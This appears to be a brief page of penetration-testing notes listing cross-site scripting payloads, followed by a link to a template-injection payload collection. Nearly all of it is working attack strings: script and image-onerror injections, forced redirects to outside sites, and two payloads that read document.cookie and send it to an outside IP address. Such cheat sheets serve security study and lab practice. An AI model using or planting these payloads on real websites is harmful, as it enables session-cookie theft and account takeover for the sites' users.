XXS

<script>prompt(1)</script>
<script>alert(1)</script>
<img src="x" onerror="prompt(1)">
<img src="x" onerror="document.location='https://cheese.com'">
<img src="x" onerror="window.location.href='https://tcm-sec.com'">
<img src='x' onerror='alert(document.cookie)'>
<img src=x onerror="this.src='https://10.10.14.10/?'+document.cookie; this.removeAttribute('onerror');">
<script>var i = new Image; i.src="https://10.10.14.10/?"+document.cookie;</script>
LogoGitHub - payloadbox/ssti-payloads: 🎯 Server Side Template Injection PayloadsGitHub
PreviousCommand injectionNextAPIs

Last updated